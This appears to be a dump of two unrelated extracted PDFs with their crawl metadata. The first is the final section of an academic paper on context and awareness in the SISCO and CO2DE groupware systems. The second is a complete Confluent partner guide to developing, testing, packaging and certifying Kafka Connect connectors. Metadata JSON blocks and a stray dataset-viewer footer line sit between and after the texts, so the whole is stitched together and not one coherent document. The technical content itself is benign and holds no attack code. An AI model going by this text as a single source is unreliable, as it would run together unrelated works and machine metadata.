We use two groupware systems to illustrate the use of the framework and the contextual knowledge model: SISCO [2], a meeting preparation asynchronous system intended to support the group discussion occurring before an actual meeting; and CO2DE [11], a cooperative editor that handles multiple versions as a way to deal with conflicting views. Both systems support groups with a common task—opinions about agenda items (SISCO), and one or more versions of a collaboration diagram in a software engineering project (CO2DE). Neither of the systems supports context explicitly but they use several context elements to support group work.
Notice that making context explicit is a way to remember, not only the way in which a solution was developed, but also the alternatives at the time of solution building, existing constraints, etc. Thus, awareness is achieved by comparing context at that time and the current context.
If the goal is the realization of the solution, it is also important to account for individual contexts. A specialist can propose a solution from her field of domain. Yet, another specialist may give constraints. In such a case, the first specialist will modify her context to include the fact the pair (problem, solution) in her domain must be changed to the triple (problem, context, solution).
By working together, each person will increasingly share more experience with others. Thus, their individual contexts will have a non-empty intersection making their interaction short and efficient.
In SISCO, an individual context is used to select meeting participants, although this process is not supported by the system. The selection is based on the contextual knowledge each participant has about the meeting agenda items, as well as the diversity of individual contexts, as the goal is to have a broad discussion. The contributions are shared among group members to reduce repetitions and also to increase the quality of the contributions by making explicit other participants' ideas. This sharing promotes the internalization and idea generation processes.
A reduction occurs when a person is not working with a group but individually. Then, the awareness step is dropped; the capture may still be needed, but it becomes trivial, and probably it will be just presented on the UI.
SISCO must provide consistency of contributions to the discussion as well as awareness of the discussion contents. Whenever a member logs in, the system generates a schematic view of the discussion contents, indicating what is new to her. This keeps the contextual knowledge uniform among group members even when they stay disconnected from the system during long periods. Perhaps no one has a complete knowledge of the contributions. Thus, the system has to make contributions persistent and provide awareness mechanisms to allow users to update their individual contexts with the group context represented by the set of contributions.
The task context covers as much as possible the wide range of options and arguments related to the agenda items. During the discussion supported by SISCO using an IBIS-like argumentation model, most contributions are based on participants' individual context, thus the authorship provides some hints about the associated context. SISCO also encourages participants to express not own views, but those which are logically consistent with the task context. In this way the system intends to disassociate opinions from individual contexts and move them towards the task context. A way of achieving it is by removing authorship from the contributions.
Another form of supporting task context is through the definition of roles. When playing a role in SISCO, an individual is given a narrower context with specific awareness mechanisms. For example, the coordinator role is provided with a participamer, a widget informing the level of participation in the discussion [1]. The participamer is considered a kind of group or task context and provides the coordinator with elements to decide on what to do when, for example, the level of participation in a certain item is low: remind people, promote discussion or even drop the topic.
The CO2DE editor allows for individual contexts to be joined into a single diagram by providing a synchronous cooperative edition facility and a WYSIWIS interface (Figure 3). Although it also allows asynchronous interaction, it does not focus on it. The diagram works as the persistency of the latest group context, in this case the union of individual contexts. However, the notion of context is not explicitly treaty by CO2DE.
When conflicting views arise on a diagram, most cooperative editors support users to reach a consensus by means of a communication mechanism, e.g., a chat. CO2DE deals with conflicts in a different way. It allows several versions of the diagram to co-exist. It organizes the versions into a tree to associate each version to its origin, its alternative versions resulting from the conflict and its further decomposition originated from another conflict. In none of these cases, however, the system represents contextual information, e.g., the conflict and the assumptions for a version. This information is kept within each individual context and is not stored.
During the elaboration of the diagram, several versions may co-exist. It is left to participants to solve the conflicts and express the resulting consensus in a single version. The CO2DE approach has the advantage of allowing users to represent their views in a more comprehensive format, since a single conflict in many cases involves several elements of the diagram. It is like discussing two or more options using the complete picture, instead of discussing element by element. Another advantage is the representation of the work evolution by means of a set of step-refined versions. The
approach also supports a mental comparison of two alternatives. With a simple click of the mouse one can rapidly perceive the differences between diagrams.
Figure 3. CO2DE user interface [11]
The previously presented framework helps to visualize a possible improvement to CO2DE. When many versions of a diagram are present, it is desirable to have the rationale of each version stored with it, since even its creator may forget it. This context is not awareness information. The system should be extended to handle these explanations and allow the user to retrieve them by clicking over certain button in the version representation. This is equivalent to “requesting additional information” arrow from “Interpretation” to “Storage” in Figure 2.
6. Conclusions
Work on context and CSCW has largely been done independently. Perhaps this has not been a good idea for groupware designers, who might benefit from research in contexts. The framework may be a first step to narrow the gap by relating the concepts of context and groupware. The model representing how awareness mechanism can carry the contextual information illustrates how the notion of context is related to other widely used terms in CSCW, such as user interfaces, automatic capture and storage.
The context process model presents group work as a knowledge-processing job with some activities possible to do by machine as support to the human tasks. This dataflow-type modeling is novel, as well as the presentation of context as knowledge flowing among processing activities.
The framework and the model can be applied together to obtain some insight into some groupware designs. In particular, by considering context as knowledge to be applied during group work, one can have a wider perspective than just focusing on the information provided to users by awareness mechanisms, as shown in the previous section. Other groupware designs would probably be suitable for analysis from this viewpoint.
Acknowledgments
This work was supported by grants from: CNPq (Brazil) PROSUL AC-62, Fondecyt (Chile) No.1040952.
References
|
{"Source-Url": "https://upapers.dcc.uchile.cl/index/publications/view_pdf/7711", "len_cl100k_base": 5277, "olmocr-version": "0.1.49", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 6858, "total-output-tokens": 6354, "length": "2e12", "weborganizer": {"__label__adult": 0.0003914833068847656, "__label__art_design": 0.00484466552734375, "__label__crime_law": 0.0005154609680175781, "__label__education_jobs": 0.0164794921875, "__label__entertainment": 0.00020229816436767575, "__label__fashion_beauty": 0.0003039836883544922, "__label__finance_business": 0.0007882118225097656, "__label__food_dining": 0.0004544258117675781, "__label__games": 0.0006299018859863281, "__label__hardware": 0.0014371871948242188, "__label__health": 0.0007672309875488281, "__label__history": 0.0006976127624511719, "__label__home_hobbies": 0.00028061866760253906, "__label__industrial": 0.0007958412170410156, "__label__literature": 0.0008711814880371094, "__label__politics": 0.0004374980926513672, "__label__religion": 0.0006079673767089844, "__label__science_tech": 0.2484130859375, "__label__social_life": 0.0004887580871582031, "__label__software": 0.099609375, "__label__software_dev": 0.61962890625, "__label__sports_fitness": 0.0002999305725097656, "__label__transportation": 0.0006299018859863281, "__label__travel": 0.00029778480529785156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30904, 0.02545]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30904, 0.72588]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30904, 0.92023]], "google_gemma-3-12b-it_contains_pii": [[0, 4379, false], [4379, 9428, null], [9428, 15307, null], [15307, 20493, null], [20493, 26393, null], [26393, 30904, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4379, true], [4379, 9428, null], [9428, 15307, null], [15307, 20493, null], [20493, 26393, null], [26393, 30904, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30904, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30904, null]], "pdf_page_numbers": [[0, 4379, 1], [4379, 9428, 2], [9428, 15307, 3], [15307, 20493, 4], [20493, 26393, 5], [26393, 30904, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30904, 0.09901]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
2514054b5b4207f6b42b5c19f69e30f3a6bb1523
|
Partner Development Guide for Kafka Connect
Overview
This guide is intended to provide useful background to developers implementing Kafka Connect sources and sinks for their data stores.
Last Updated: December 2016
## Getting Started
- Community Documentation (for basic background) .................................................. 2
- Kafka Connect Video Resources (for high-level overview) ....................................... 2
- Sample Connectors ................................................................................................. 2
- Developer Blog Post (for a concrete example of end-to-end design) ......................... 2
## Developing a Certified Connector: The Basics ......................................................... 3
- Coding .................................................................................................................. 3
- Documentation and Licensing ............................................................................... 4
- Unit Tests ............................................................................................................. 4
- System Tests ....................................................................................................... 5
- Packaging ............................................................................................................ 6
## Development Best Practices for Certified Connectors ........................................... 7
- Connector Configuration ....................................................................................... 7
- Schemas and Schema Migration ........................................................................... 8
- Type support ..................................................................................................... 8
- Logical Types .................................................................................................... 8
- Schemaless data ............................................................................................... 9
- Schema Migration ........................................................................................... 9
- Offset Management ............................................................................................. 10
- Source Connectors ........................................................................................... 10
- Sink Connectors .............................................................................................. 11
- Converters and Serialization ............................................................................... 11
- Parallelism .......................................................................................................... 12
- Error Handling .................................................................................................... 13
## Connector Certification Process ........................................................................... 14
## Post-Certification Evangelism................................................................................ 14
Getting Started
Community Documentation (for basic background)
- Kafka Connect Overview
- Kafka Connect Developer's Guide
Kafka Connect Video Resources (for high-level overview)
A broad set of video resources is available at https://vimeo.com/channels/1075932/videos. Of particular interest to Connector developers are:
1. Partner Technology Briefings: Developing Connectors in the Kafka Connect Framework
2. Partner Tech Deep Dive: Kafka Connect Overview
(https://drive.google.com/open?id=0B6lWkg0jB5xIOUR6NHdrYUwyNmM)
3. Partner Tech Deep Dive: Kafka Connect Sources and Sinks
(https://drive.google.com/open?id=0B6lWkg0jB5xIV0xoWlZEZjFDdE)
Sample Connectors
2. JDBC Source/Sink: https://github.com/confluentinc/kafka-connect-jdbc
Other supported and certified connectors are available at http://confluent.io/product/connectors.
Developer Blog Post (for a concrete example of end-to-end design)
See <Jeremy Custenborder's Blog Post>
(currenly https://gist.github.com/jcustenborder/b9b1518cc794e1c1895c3da7abbe9c08)
Developing a Certified Connector: The Basics
Coding
Connectors are most often developed in Java. While Scala is an acceptable alternative, the incompatibilities between Scala 2.x run-time environments might make it necessary to distribute multiple builds of your connector. Java 8 is recommended.
Confluent engineers have developed a Maven archetype to generate the core structure of your connector.
```
mvn archetype:generate -B -DarchetypeGroupId=io.confluent.maven \
-DarchetypeArtifactId=kafka-connect-quickstart \
-DarchetypeVersion=0.10.0.0 \
-Dpackage=com.mycompany.examples \
-DgroupId=com.mycompany.examples \
-DartifactId=testconnect \
-Dversion=1.0-SNAPSHOT
```
will create the source-code skeleton automatically, or you can select the options interactively with
```
mvn archetype:generate -DarchetypeGroupId=io.confluent.maven \
-DarchetypeArtifactId=kafka-connect-quickstart \
-DarchetypeVersion=0.10.0.0
```
This archetype will generate a directory containing Java source files with class definitions and stub functions for both Source and Sink connectors. You can choose to remove one or the other components should you desire a uni-directional connector. The archetype will also generate some simple unit-test frameworks that should be customized for your connector.
Note on Class Naming: The Confluent Control Center supports interactive configuration of Connectors (see notes on Connector Configuration below). The naming convention that allows Control Center to differentiate sources and sinks is the use of SourceConnector and SinkConnector as Java classname suffixes (eg. JdbcSourceConnector and JdbcSinkConnector). Failure to use these suffixes will prevent Control Center from supporting interactive configuration of your connector.
Documentation and Licensing
The connector should be well-documented from a development as well as deployment perspective. At a minimum, the details should include
- Top-level README with a simple description of the Connector, including its data model and supported delivery semantics.
- Configuration details (this should be auto-generated via the toRst/toHtml methods for the ConfigDef object within the Connector). Many developers include this generation as part of the unit test framework.
- OPTIONAL: User-friendly description of the connector, highlighting the more important configuration options and other operational details
- Quickstart Guide: end-to-end description of moving data to/from the Connector. Often, this description will leverage the kafka-console-* utilities to serve as the other end of the data pipeline (or kafka-console-avro-* when the Schema Registry-compatible Avro converter classes are utilized).
See the JDBC connector for an example of comprehensive Connector documentation
https://github.com/confluentinc/kafka-connect-jdbc
Most connectors will be developed to OpenSource Software standards, though this is not a requirement. The Kafka Connect framework itself is governed by the Apache License, Version 2.0. The licensing model for the connector should be clearly defined in the documentation. When applicable, OSS LICENSE files must be included in the source code repositories.
Unit Tests
The Connector Classes should include unit tests to validate internal API’s. In particular, unit tests should be written for configuration validation, data conversion from Kafka Connect framework to any data-system-specific types, and framework integration. Tools like PowerMock (https://github.com/jayway/powermock) can be utilized to facilitate testing of class methods independent of a running Kafka Connect environment.
System Tests
System tests to confirm core functionality should be developed. Those tests should verify proper integration with the Kafka Connect framework:
- proper instantiation of the Connector within Kafka Connect workers (as evidenced by proper handling of REST requests to the Connect workers)
- schema-driven data conversion with both Avro and JSON serialization classes
- task restart/rebalance in the event of worker node failure
Advanced system tests would include schema migration, recoverable error events, and performance characterization. The system tests are responsible for both the data system endpoint and any necessary seed data:
- System tests for a MySQL connector, for example, should deploy a MySQL database instance along with the client components to seed the instance with data or confirm that data has been written to the database via the Connector.
- System tests should validate the data service itself, independent of Kafka Connect. This can be a trivial shell test, but definitely confirm that the automated service deployment is functioning properly so as to avoid confusion should the Connector tests fail.
Ideally, system tests will include stand-alone and distributed mode testing
- Stand-alone mode tests should verify basic connectivity to the data store and core behaviors (data conversion to/from the data source, append/overwrite transfer modes, etc.). Testing of schemaless and schema’ed data can be done in stand-alone mode as well.
- Distributed mode tests should validate rational parallelism as well as proper failure handling. Developers should document proper behavior of the connector in the event of worker failure/restart as well as Kafka Cluster failures. If exactly-once delivery semantics are supported, explicit system testing should be done to confirm proper behavior.
- Absolute performance tests are appreciated, but not required.
The Confluent System Test Framework ( https://cwiki.apache.org/confluence/display/KAFKA/tutorial+-+set+up+and+run+Kafka+system+tests+with+ducktape ) can be leveraged for more advanced system tests. In particular, the ducktape framework makes testing of different Kafka failure modes simpler. An example of a Kafka Connect ducktape test is available here
Packaging
The final connector package should have minimal dependences. The default invocation of the Connect Worker JVM's includes the core Apache and Confluent classes from the distribution in CLASSPATH. The packaged connectors (e.g. HDFS Sink and JDBC Source/Sink) are deployed to share/java/kafka-connect-* and included in CLASSPATH as well. To avoid Java namespace collisions, you must not directly include any of the following classes in your connector jar:
- io.confluent.*
- org.apache.kafka.connect.*
In concrete terms, you'll want your package to depend only on the connect-api artifact, and that artifact should be classified as provided. That will ensure that no potentially conflicting jar's will be included in your package.
Kafka Connect 0.10.* and earlier does not support CLASSPATH isolation within the JVM's deploying the connectors. If you Connector conflicts with classes from the packaged connectors, you should document the conflict and the proper method for isolating your Connector at runtime. Such isolation can be accomplished by disabling the packaged connectors completely (renaming the share/java/kafka-connect-* directories) or developing a customized script to launch your Connect Workers that eliminates those directories from CLASSPATH.
Developers are free to distribute their connector via whatever packaging and installation framework is most appropriate. Confluent distributes its software as rpm/deb packages as well as a self-contained tarball for relocatable deployments. Barring extraordinary circumstances, Connector jars should be made available in compiled form rather than requiring end customers to build the connector on site. The helper scripts that launch Kafka Connect workers (connect-standalone and connect-distributed) explicitly add the connector jars to the CLASSPATH. By convention, jar files in share/java/kafka-connect-* directories are added automatically, so you could document your installation process to locate your jar files in share/java/kafka-connect-<MyConnector>.
Development Best Practices for Certified Connectors
Connector Configuration
Connector classes must define the config() method, which returns an instance of the ConfigDef class representing the required configuration for the connector. The AbstractConfig class should be used to simplify the parsing of configuration options. That class supports get* functions to assist in configuration validation. Complex connectors can choose to extend the AbstractConfig class to deliver custom functionality. The existing JDBCConnector illustrates that with its JDBCConnectorConfig class, which extends AbstractConfig while implementing the getBaseConfig() method to return the necessary ConfigDef object when queried. You can see how ConfigDef provides a fluent API that lets you easily define new configurations with their default values and simultaneously configure useful UI parameters for interactive use. An interesting example of this extensibility can be found in the MODE_CONFIG property within JDBCConnectorConfig. That property is constrained to one of 4 pre-defined values and will be automatically validated by the framework.
The ConfigDef class instance within the Connector should handle as many of the configuration details (and validation thereof) as possible. The values from ConfigDef will be exposed to the REST interface and directly affect the user experience in Confluent Control Center. For that reason, you should carefully consider grouping and ordering information for the different configuration parameters. Parameters also support Recommender functions for use within the Control Center environment to guide users with configuration recommendations. The connectors developed by the Confluent team (JDBC, HDFS, and Elasticsearch) have excellent examples of how to construct a usable ConfigDef instance with the proper information.
If the configuration parameters are interdependent, implementing a <Connector>.validate() function is highly recommended. This ensures that the potential configuration is consistent before it is used for Connector deployment. Configuration validation can be done via the REST interface before deploying a connector; the Confluent Control Center always utilizes that capability so as to avoid invalid configurations.
Schemas and Schema Migration
Type support
The Connector documentation should, of course, include all the specifics about the data types supported by your connector and the expected message syntax. Sink Connectors should not simply cast the fields from the incoming messages to the expected data types. Instead, you should check the message contents explicitly for your data objects within the Schema portion of the SinkRecord (or with instanceof for schemaless data). The PreparedStatementBinder.bindRecord() method in the JdbcSinkConnector provides a good example of this logic. The lowest level loop walks through all the non-key fields in the SinkRecords and converts those fields to a SQLCompatible type based on the Connect Schema type associated with that field:
```java
for (final String fieldName : fieldsMetadata.nonKeyFieldNames) {
final Field field = record.valueSchema().field(fieldName);
bindField(index++, field.schema().type(), valueStruct.get(field));
}
```
Well-designed Source Connectors will associate explicit data schemas with their messages, enabling Sink Connectors to more easily utilize incoming data. Utilities within the Connect framework simplify the construction of those schemas and their addition to the SourceRecords structure.
The code should throw appropriate exceptions if the data type is not supported. Limited data type support won't be uncommon (e.g. many table-structured data stores will require a Struct with name/value pairs). If your code throws Java exceptions to report these errors, a best practice is to use ConnectException rather than the potentially confusing ClassCastException. This will ensure the more useful status reporting to Connect's RESTful interface, and allow the framework to manage your connector more completely.
Logical Types
Where possible, preserve the extra semantics specified by logical types by checking for `schema.name()`’s that match known logical types. Although logical types will safely fall back on the native types (e.g. a UNIX timestamp will be preserved as a long), often times systems will provide a corresponding type that will be more useful to users. This will be particularly true in some common cases, such as Decimal, where the native type (bytes) does not obviously correspond to the logical
type. The use of schema in these cases actually expands the functionality of the connectors ... and thus should be leveraged as much as possible.
Schemaless data
Connect prefers to associate schemas with topics and we encourage you to preserve those schemas as much as possible. However, you can design a connector that supports schemaless data. Indeed, some message formats implicitly omit schema (eg JSON). You should make a best effort to support these formats when possible, and fail cleanly and with an explanatory exception message when lack of a schema prevents proper handling of the messages.
Sink Connectors that support schemaless data should detect the type of the data and translate it appropriately. The community connector for DynamoDB illustrates this capability very clearly in its AttributeValueConverter class. If the connected data store requires schemas and doesn't efficiently handle schema changes, it will likely prove impossible to handle implicit schema changes automatically. It is better in those circumstances to design a connector that will immediately throw an error. In concrete terms, if the target data store has a fixed schema for incoming data, by all means design a connector that translates schemaless data as necessary. However, if schema changes in the incoming data stream are expected to have direct effect in the target data store, you may wish to enforce explicit schema support from the framework.
Schema Migration
Schemas will change, and your connector should expect this.
Source Connectors won't need much support as the topic schema is defined by the source system; to be efficient, they may want to cache schema translations between the source system and Connect's data API, but schema migrations "just work" from the perspective of the framework. Source Connectors may wish to add some data-system-specific details to their error logging in the event of schema incompatibility exceptions. For example, users could inadvertently configure two instances of the JDBC Source connector to publish data for table "FOO" from two different database instances. A different table structure for FOO in the two databases would result in the second Source Connector getting an exception when attempting to publish its data ... and error message indicating the specific JDBC Source would be helpful.
Sink Connectors must consider schema changes more carefully. Schema changes in the input data might require making schema changes in the target data system before delivering any data with the new schema. Those changes themselves could fail, or they could require compatible transformations on the incoming data. Schemas in the Kafka Connect framework include a version. Sink connectors should keep track of the latest schema version that has arrived. Remember that incoming data may reference newer or older schemas, since data may be delivered from multiple Kafka partitions with an arbitrary mix of schemas. By keeping track of the Schema version, the connector can ensure that schema changes that have been applied to the target data system are not reverted. Converters within the Connector can the version of the schema for the incoming data along with the latest schema version observed to determine whether to apply schema changes to the data target or to project the incoming data to a compatible format. Projecting data between compatible schema versions can be done using the SchemaProjector utility included in the Kafka Connect framework. The SchemaProjector utility leverages the Connect Data API, so it will always support the full range of data types and schema structures in Kafka Connect.
**Offset Management**
**Source Connectors**
Source Connectors should retrieve the last committed offsets for the configured Kafka topics during the execution of the start() method. To handle exactly-once semantics for message delivery, the Source Connector must correctly map the committed offsets to the Kafka cluster with some analog within the source data system, and then handle the necessary rewinding should messages need to be re-delivered. For example, consider a trivial Source connector that publishes the lines from an input file to a Kafka topic one line at a time ... prefixed by the line number. The commit* methods for that connector would save the line number of the posted record ... and then pick up at that location upon a restart.
An absolute guarantee of exactly once semantics is not yet possible with Source Connectors (there are very narrow windows where multiple failures at the Connect Worker and Kafka Broker levels could distort the offset management functionality). However, the necessary low-level changes to the Kafka Producer API are being integrated into Apache Kafka Core to eliminate these windows.
Sink Connectors
The proper implementation of the flush() method is often the simplest solution for correct offset management within Sink Connectors. So long as Sinks correctly ensure that messages delivered to the put() method before flush() are successfully saved to the target data store before returning from the flush() call, offset management should "just work". A conservative design may choose not to implement flush() at all and simply manage offsets with every put() call. In practice, that design may constrain connector performance unnecessarily.
Developers should carefully document and implement their handling of partitioned topics. Since different connector tasks may receive data from different partitions of the same topic, you may need some additional data processing to avoid any violations of the ordering semantics of the target data store. Additionally, data systems where multiple requests can be "in flight" at the same time from multiple Connector Task threads should make sure that relevant data ordering is preserved (eg not committing a later message while an earlier one has yet to be confirmed). Not all target data systems will require this level of detail, but many will.
Exactly-once semantics within Sink Connectors require atomic transactional semantics against the target data system ... where the known topic offset is persisted at the same time as the payload data. For some systems (notably relational databases), this requirement is simple. Other target systems require a more complex solution. The Confluent-certified HDFS connector offers a good example of supporting exactly-once delivery semantics using a connector-managed commit strategy.
Converters and Serialization
Serialization formats for Kafka are expected to be handled separately from connectors. Serialization is performed after the Connect Data API formatted data is returned by Source Connectors, or before Connect Data API formatted data is delivered to Sink Connectors. Connectors should not assume a particular format of data. However, note that Converters only address one half of the system. Connectors may still choose to implement multiple formats, and even make them pluggable. For example, the HDFS Sink Connector (taking data from Kafka and storing it to HDFS) does not assume anything about the serialization format of the data in Kafka. However, since that connector is responsible for writing the data to HDFS, it can handle converting it to Avro or Parquet, and even allows users to plug in new format implementations if desired. In other words, Source Connectors might be flexible on the format of source data and Sink Connectors might be flexible on the format of sink data, but both types of connectors should let the Connect framework handle the format of data within Kafka.
There are currently two supported data converters for Kafka Connect distributed with Confluent: org.apache.kafka.connect.json.JsonConverter and io.confluent.connect.avro.AvroConverter. Both converters support including the message schema along with the payload (when configured with the appropriate *.converter.schemas.enable property to true).
The JsonConverter includes the schema details as simply another JSON value in each record. A record such as "{"name":"Alice","age":38} " would get wrapped to the longer format
```json
{
"schema":{"type":"struct",
"fields":[{"type":"string","optional":false,"field":"name"},{"type":"integer","optional":false,"field":"age"}],
"optional":false,
"name":"htest2"},
"payload":{"name":"Alice","age":38}
}
```
Connectors are often tested with the JsonConverter because the standard Kafka consumers and producers can validate the topic data.
The AvroConverter uses the SchemaRegistry service to store topic schemas, so the volume of data on the Kafka topic is much reduced. The SchemaRegistry enabled Kafka clients (eg kafka-avro-console-consumer) can be used to examine these topics (or publish data to them).
**Parallelism**
Most connectors will have some sort of inherent parallelism. A connector might process many log files, many tables, many partitions, etc. Connect can take advantage of this parallelism and automatically allow your connector to scale up more effectively – IF you provide the framework the necessary information.
Sink connectors need to do little to support this because they already leverage Kafka’s consumer groups functionality; recall that consumer groups automatically balance and scale work between member consumers (in this case Sink Connector tasks) as long as enough Kafka partitions are available on the incoming topics.
Source Connectors, in contrast, need to express how their data is partitioned and how the work of publishing the data can be split across the desired number of tasks for the connector. The first step is to define your input data set to be broad by default, encompassing as much data as is sensible given a single configuration. This provides sufficient partitioned data to allow Connect to scale up/down elastically as needed. The second step is to use your Connector.taskConfigs() method implementation to divide these source partitions among (up to) the requested number of tasks for the connector.
Explicit support of parallelism is not an absolute requirement for Connectors – some data sources simply do not partition well. However, it is worthwhile to identify the conditions under which parallelism is possible. For example, a database might have a single WAL file which seems to permit no parallelism for a change-data-capture connector; however, even in this case we might extract subsets of the data (e.g. per table from a DB WAL) to different topics, in which case we can get some parallelism (split tables across tasks) at the cost of the overhead of reading the WAL multiple times.
**Error Handling**
The Kafka Connect framework defines its own hierarchy of throwable error classes ([link](https://kafka.apache.org/0100/javadoc/org/apache/kafka/connect/errors/package-summary.html)). Connector developers should leverage those classes (particularly ConnectException and RetriableException) to standardize connector behavior. Exceptions caught within your code should be rethrown as connect.errors whenever possible to ensure proper visibility of the problem outside the framework. Specifically, throwing a RuntimeException beyond the scope of your own code should be avoided because the framework will have no alternative but to terminate the connector completely.
Recoverable errors during normal operation can be reported differently by sources and sinks. Source Connectors can return null (or an empty list of SourceRecords) from the poll() call. Those connectors should implement a reasonable backoff model to avoid wasteful Connector operations; a simple call to sleep() will often suffice. Sink Connectors may throw a RetriableException from the put() call in the event that a subsequent attempt to store the SinkRecords is likely to succeed. The backoff period for that subsequent put() call is specified by the timeout value in the sinkContext. A default timeout value is often included with the connector configuration, or a customized value can be assigned using sinkContext.timeout() before the exception is thrown.
Connectors that deploy multiple threads should use `context.raiseError()` to ensure that the framework maintains the proper state for the Connector as a whole. This also ensures that the exception is handled in a thread-safe manner.
**Connector Certification Process**
Partners will provide the following material to the Confluent Partner team for review prior to certification.
1. Engineering materials
a. Source code details (usually a reference to a public source-code repository)
b. Results of unit and system tests
2. **Connector Hub** details
a. Tags / description
b. Public links to source and binary distributions of the connector
c. Landing page for the connector (optional)
3. Customer-facing materials
a. Connector documentation
The Confluent team will review the materials and provide feedback. The review process may be iterative, requiring minor updates to connector code and/or documentation. The ultimate goal is a customer-ready deliverable that exemplifies the best of the partner product and Confluent.
**Post-Certification Evangelism**
Confluent is happy to support Connect Partners in evangelizing their work. Activities include
- Blog posts and social media amplification
- Community education (meet-ups, webinars, conference presentations, etc)
- Press Releases (on occasion)
- Cross-training of field sales teams
|
{"Source-Url": "https://assets.confluent.io/m/6f7bcce8210923e/original/20161214-WP-Partner_Dev_Guide_for_Kafka_Connect.pdf", "len_cl100k_base": 5425, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 34154, "total-output-tokens": 6214, "length": "2e12", "weborganizer": {"__label__adult": 0.00021064281463623047, "__label__art_design": 0.00022792816162109375, "__label__crime_law": 0.00018453598022460935, "__label__education_jobs": 0.00034999847412109375, "__label__entertainment": 3.93986701965332e-05, "__label__fashion_beauty": 7.033348083496094e-05, "__label__finance_business": 0.00016891956329345703, "__label__food_dining": 0.00020945072174072263, "__label__games": 0.0002512931823730469, "__label__hardware": 0.00028204917907714844, "__label__health": 0.00012153387069702148, "__label__history": 8.422136306762695e-05, "__label__home_hobbies": 4.184246063232422e-05, "__label__industrial": 0.00016880035400390625, "__label__literature": 0.0001093745231628418, "__label__politics": 0.00011628866195678712, "__label__religion": 0.0002206563949584961, "__label__science_tech": 0.0013561248779296875, "__label__social_life": 6.312131881713867e-05, "__label__software": 0.008392333984375, "__label__software_dev": 0.98681640625, "__label__sports_fitness": 0.0001513957977294922, "__label__transportation": 0.00017726421356201172, "__label__travel": 0.00011771917343139648}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30530, 0.00921]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30530, 0.25833]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30530, 0.8287]], "google_gemma-3-12b-it_contains_pii": [[0, 217, false], [217, 3115, null], [3115, 4402, null], [4402, 6166, null], [6166, 8021, null], [8021, 10269, null], [10269, 12304, null], [12304, 14571, null], [14571, 16867, null], [16867, 19208, null], [19208, 21650, null], [21650, 24452, null], [24452, 26284, null], [26284, 28928, null], [28928, 30530, null]], "google_gemma-3-12b-it_is_public_document": [[0, 217, true], [217, 3115, null], [3115, 4402, null], [4402, 6166, null], [6166, 8021, null], [8021, 10269, null], [10269, 12304, null], [12304, 14571, null], [14571, 16867, null], [16867, 19208, null], [19208, 21650, null], [21650, 24452, null], [24452, 26284, null], [26284, 28928, null], [28928, 30530, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30530, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30530, null]], "pdf_page_numbers": [[0, 217, 1], [217, 3115, 2], [3115, 4402, 3], [4402, 6166, 4], [6166, 8021, 5], [8021, 10269, 6], [10269, 12304, 7], [12304, 14571, 8], [14571, 16867, 9], [16867, 19208, 10], [19208, 21650, 11], [21650, 24452, 12], [24452, 26284, 13], [26284, 28928, 14], [28928, 30530, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30530, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.